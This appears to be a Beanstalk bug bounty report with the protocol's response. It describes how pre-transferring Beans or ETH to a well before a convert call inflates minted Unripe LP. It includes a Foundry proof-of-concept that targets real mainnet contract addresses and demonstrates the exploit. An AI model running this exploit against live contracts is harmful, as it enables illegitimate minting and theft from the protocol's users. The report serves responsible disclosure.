Converting Beans/ETH to Unripe Tokens
Report ID
#28431
Report type
Smart Contract
Has PoC?
Yes
Target
Impacts
- Illegitimate minting of protocol native assets
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Impact
A vulnerability exists where an attacker can directly convert Beans/ETH into Unripe LP. Given that Beans and ETH are widely traded across various markets, this vulnerability potentially allows attackers to convert any token into Unripe Assets.
Root Cause
The vulnerability stems from the process of converting Unripe Beans to Unripe LP tokens within the convertBeansToLP
function in LibUnripeConvert.sol
. Specifically, the function _wellAddLiquidityTowardsPeg
is utilized to determine the output of LP tokens. This function transfers the underlying Beans to the ETH well and calls sync
to optimize gas usage during the liquidity addition process. However, the well doesn't verify the amount of tokens transferred in real-time or prior to the conversion. An attacker can transfer Beans or ETH before executing the convert
function, leading to an unwarranted increase in the minted LP tokens beyond the intended amount.
The convertBeansToLP
code:
function convertBeansToLP(bytes memory convertData)
internal
returns (
address tokenOut,
address tokenIn,
uint256 amountOut,
uint256 amountIn
)
{
// ...
(
uint256 outUnderlyingAmount, // new lp minted
uint256 inUnderlyingAmount // beans sent
) = LibWellConvert._wellAddLiquidityTowardsPeg(
LibUnripe.unripeToUnderlying(tokenIn, beans),
minAmountOut,
C.BEAN_ETH_WELL
);
// ...
}
And the _wellAddLiquidityTowardsPeg
code:
function _wellAddLiquidityTowardsPeg(
uint256 beans,
uint256 minLP,
address well
) internal returns (uint256 lp, uint256 beansConverted) {
(uint256 maxBeans, uint beanIndex) = _beansToPeg(well);
require(maxBeans > 0, "Convert: P must be >= 1.");
beansConverted = beans > maxBeans ? maxBeans : beans;
C.bean().transfer(well, beansConverted);
lp = IWell(well).sync( // the well might have received tokens prior to the function call
address(this),
minLP
);
}
Suggested Fix
I recommend to replace the sync
function with the addLiquidity
function, which is safer and yields predictable outcomes.
Impacts
- Unwarranted Minting of Unripe Assets: The purpose of Unripe assets is to compensate victims of the Bean Governance hack. Minting additional tokens, especially to unintended recipients, undermines this objective.
remainingRecapitalization
Changed: This could enable the purchase of more fertilizer and reduce innocent users share of underlying assets.- Potential for Theft of funds: According to this [blog](https://bean.money/blog/a-farmers-guide-to-the-barn-raise), in certain edge cases, it might be possible for Unripe assets to exceed their pre-exploit balance valuation. This can result in a theft of assets, for example, by converting 100 Beans might yield Unripe assets valued at 101 Beans, effectively allowing attackers to exploit the protocol and steal.
There are edge cases where it is possible for Unripe assets to Chop for >100% of their pre-exploit balance.
Proof of concept
I've added the poc in a branch named bean-to-unripe-vuln
within the GitHub repository previously shared with the Bean team [here](https://github.com/Blockian/POC-Bean)
I've also added a screenshot of the test results.
Alternatively, run this foundry test on a fork of the mainnet
This is the command I used to run the test forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/$ALCHEMY_KEY --fork-block-number 19213575 --via-ir -vv
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.1;
import "forge-std/console.sol";
import {Test} from "forge-std/Test.sol";
import {BeanStalk} from "../src/BeanStalk.sol";
import {ERC20} from "../src/ERC20.sol";
contract MainTest is Test {
BeanStalk public beanstalk;
ERC20 public bean;
ERC20 public unripeBean;
ERC20 public unripeLp;
address constant BEANSTALK = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
address constant BEANERC20 = 0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab;
address constant UNRIPE_BEAN = 0x1BEA0050E63e05FBb5D8BA2f10cf5800B6224449;
address constant UNRIPE_LP = 0x1BEA3CcD22F4EBd3d37d731BA31Eeca95713716D;
address constant BEAN_ETH_WELL = 0xBEA0e11282e2bB5893bEcE110cF199501e872bAd;
// attacker addresses for the roots stalk inbalance attack
address constant ATTACKER = 0xd7E167AB2A4bC910619ACB0CC36B7707Ab8816d6;
address constant UNRIPE_BEAN_FUNDER = 0x3dD413Fd4D03b1d8fD2C9Ed34553F7DeC3B26F5C; // we just need 1 bdv of unripe bean for the attack
uint256 constant DECIMALS = 1e6; // 6 decimals
uint256 constant AMOUNT = 5;
function setUp() public {
beanstalk = BeanStalk(BEANSTALK);
bean = ERC20(BEANERC20);
unripeBean = ERC20(UNRIPE_BEAN);
unripeLp = ERC20(UNRIPE_LP);
console.log("----------------- block number info -----------------");
console.log("Block Number: %s", block.number);
vm.startPrank(UNRIPE_BEAN_FUNDER);
unripeBean.transfer(ATTACKER, AMOUNT); // 5 wei of unripebean = 1 bdv, which is all we need to start the attack :)
vm.stopPrank();
}
function test1() public {
int96 stem;
int96[] memory stems = new int96[](1);
uint256[] memory amounts = new uint256[](1);
vm.startPrank(ATTACKER);
console.log("----------------- start attack -----------------");
// deposit 5 unripe bean to be able to convert
unripeBean.approve(BEANSTALK, AMOUNT);
(, , stem) = beanstalk.deposit(UNRIPE_BEAN, AMOUNT, BeanStalk.From.EXTERNAL);
bytes memory convertData = abi.encode(BeanStalk.ConvertKind.UNRIPE_BEANS_TO_UNRIPE_LP, AMOUNT, uint256(0));
stems[0] = stem;
amounts[0] = AMOUNT;
bean.transfer(BEAN_ETH_WELL, 50000 * DECIMALS);
console.log("remainingRecapitalization before: %s", beanstalk.remainingRecapitalization());
console.log("----------------- convert -----------------");
(int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv) = beanstalk.convert(convertData, stems, amounts);
console.log("remainingRecapitalization after: %s", beanstalk.remainingRecapitalization());
console.log("----------------- convert output -----------------");
console.log("toStem: %s", uint256(uint96(toStem)));
console.log("fromAmount: %s", fromAmount);
console.log("toAmount: %s", toAmount); // unripe lp tokens the attacker received.
console.log("fromBdv: %s", fromBdv);
console.log("toBdv: %s", toBdv);
vm.stopPrank();
}
}
I've added a test demonstrating an attacker converting 50,000 BEANS to 219,500 Unripe Beans.
When 1 Unripe Beans will equal 1 Bean, an attacker could use this vector to drain Beanstalk out Beans.
Additionally, the test demonstrating an attacker converting 50,000 BEANS to 219,500 Unripe Beans reveals a sooner-than-anticipated break-even point, than the the instance when 1 Unripe Bean is equal to 1 Bean.
At the moment when 1 Unripe Bean equals merely 0.25 Bean, given the conversion ratio of 50 to 219, an attacker can steal all of the Beans from the protocol.
function testBeanToUnripeBean() public {
int96 stem;
int96[] memory stems = new int96[](1);
uint256[] memory amounts = new uint256[](1);
vm.startPrank(ATTACKER);
// deposit 5 unripe bean to be able to convert
unripeBean.approve(BEANSTALK, AMOUNT);
(, , stem) = beanstalk.deposit(UNRIPE_BEAN, AMOUNT, BeanStalk.From.EXTERNAL);
bytes memory convertData = abi.encode(BeanStalk.ConvertKind.UNRIPE_BEANS_TO_UNRIPE_LP, AMOUNT, uint256(0));
stems[0] = stem;
amounts[0] = AMOUNT;
bean.transfer(BEAN_ETH_WELL, 50000 * DECIMALS);
(int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv) = beanstalk.convert(convertData, stems, amounts);
amounts[0] = toAmount;
// convert unripe lp to unripe bean
convertData = abi.encode(BeanStalk.ConvertKind.UNRIPE_LP_TO_UNRIPE_BEANS, toAmount, uint256(0));
(toStem, fromAmount, toAmount, fromBdv, toBdv) = beanstalk.convert(convertData, stems, amounts);
console.log("----------------- converted to unripe beans -----------------");
console.log("start bean amount %s", 50000 * DECIMALS);
console.log("unripe beans received: %s", toAmount);
vm.stopPrank();
}
BIR-13: Minting Unripe LP During Convert
BIC Response
The BIC has determined that the most appropriate impact for this report is "Illegitimate minting of protocol native assets", i.e., High severity, as a result of the potential for minting Unripe assets.
Based on our bounty page, this submission's ( Smart Contract - High ) reward is capped at the lower of (a) 100% of practicable economic damage, or (b) USD 100 000 (paid 1:1 in Beans), primarily taking into consideration the Funds at Risk. However, there is a minimum reward of USD 10 000 for High severity smart contract bug reports.
We do not believe that this vulnerability can be considered to result in any practicable economic damage.
Potential for Theft of funds: According to this [blog](https://bean.money/blog/a-farmers-guide-to-the-barn-raise), in certain edge cases, it might be possible for Unripe assets to exceed their pre-exploit balance valuation. This can result in a theft of assets, for example, by converting 100 Beans might yield Unripe assets valued at 101 Beans, effectively allowing attackers to exploit the protocol and steal.
This is not a practicable concern given the current Chop Rate of >99%.
Additionally, the test demonstrating an attacker converting 50,000 BEANS to 219,500 Unripe Beans reveals a sooner-than-anticipated break-even point, than the the instance when 1 Unripe Bean is equal to 1 Bean. At the moment when 1 Unripe Bean equals merely 0.25 Bean, given the conversion ratio of 50 to 219, an attacker can steal all of the Beans from the protocol.
It is not accurate to say that 1 Unripe Bean "equals" 0.25 Beans—although the BDV of Unripe Beans is ~0.224, the liquidatable value of an Unripe Beans is currently <0.01 Beans via Chopping. As a result, this attack would not be profitable by a significant margin.
For these reasons, the BIC has determined that the practicable economic damage for this vulnerability is zero. Given this, the BIC has determined that this bug report be rewarded 10,000 Beans.